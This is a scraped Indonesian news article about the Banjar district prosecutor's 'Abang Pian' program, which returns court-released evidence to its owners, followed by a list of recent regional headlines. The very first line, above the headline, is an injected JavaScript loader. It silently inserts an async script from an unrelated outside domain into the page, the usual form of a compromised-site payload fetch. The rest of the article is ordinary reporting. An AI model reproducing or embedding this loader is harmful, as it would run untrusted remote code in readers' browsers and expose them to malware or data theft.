(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Kejari Banjar Permudah Pengambilan Barang Bukti Sudah Inkrah


MARTAPURA, Untuk mengembalikan barang bukti yang sudah inkrah, Kejaksaan Negeri (Kejari) Kabupaten Banjar membuat program “Abang Pian”. Program Abang Pian merupakanpelayanan publik untuk lebih memudahkan sekaligus membantu masyarakat mendapatkan kembali barang miliknya yang dijadikan barang bukti perkara.

Kepala Kejari Banjar Muji Martopo mengatakan, program tersebut bertujuan untuk memberikan bantuan dan kemudahan bagi setiap anggota masyarakat pemilik barang bukti yang dititipkan di kejaksaan.

“Program Abang Pian merupakan program pelayanan publik untuk lebih memudahkan masyarakat memiliki kembali barang miliknya yang dijadikan barang bukti suatu perkara,” jelas Kajari Banjar.

‘Kelahiran’ Abang Pian didasari keinginan membantu masyarakat untuk mendapatkan kembali barang yang merupakan hak miliknya. Melalui program yang baru diluncurkan itu, masyarakat tidak perlu susah-susah mendatangi kantor Kejari Banjar di Kota Martapura, A Yani Km 38.

“Intinya kami ingin membantu masyarakat sehingga mereka tidak susah lagi mendatangi kantor Kejari untuk mengambil haknya, apalagi jika tempat tinggalnya jauh sehingga tidak membebani,” ungkapnya.

Tanggapan serupa diutarakan Kasi Pengelolaan Barang Bukti dan Barang Rampasan Kejari Banjar Andi Akbar Sobari, buat program ini untuk mengembalikan barang bukti yang sudah inkrah tetapi belum diambil oleh yang berhak.

“Untuk meringankan beban masyarakat, walaupun tempat tinggal pemilik dengan kantor Kejaksaan jauh, maka kita berinisiatif untuk mengantarkan barang bukti itu ke tempat tujuan yang bersangkutan,” katanya.

Ditambahkan, saat ini hampir 20 barang bukti yang sudah inkrah yang belum diambil pemilik. Walaupun ada barang bukti berupa kendaraan yang tidak layak pakai karena barang tersebut merupakan barang bukti dari kasus kecelakaan, pihaknya akan terus berusaha agar barang tersebut kembali kepada pemiliknya. (rendy)

Reporter : Rendy/b>
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

ASN Bisa WFA dan Cuti Bersama hingga Dua Minggu, Begini Skemanya

KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More

2 jam ago

KPw BI Kalsel Menggelar Capacity Building Jurnalis 2026

KANALKALIMANTAN.COM, BATULICIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar acara Capacity… Read More

4 jam ago

‎Gubernur Kalsel Kunjungi Warga Desa Pondok Bababaris

‎KANALKALIMANTAN.COM, AMUNTAI – Gubernur Kalimantan Selatan H Muhidin meninjau langsung warga terdampak banjir di Desa… Read More

4 jam ago

Dari Rakor Bulanan: 1.398 Pegawai Non ASN Digaji APBD, Alarm Banjarbaru Menjadi “Kota Kotor”

KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More

15 jam ago

Naik Motor Trail, Bupati Kapuas Tinjau Jalan di Kecamatan Selat

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More

15 jam ago

Jelang Pilkades Serentak 2026, Pemkab Banjar Gelar Rapat Persiapan

KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More

20 jam ago

This website uses cookies.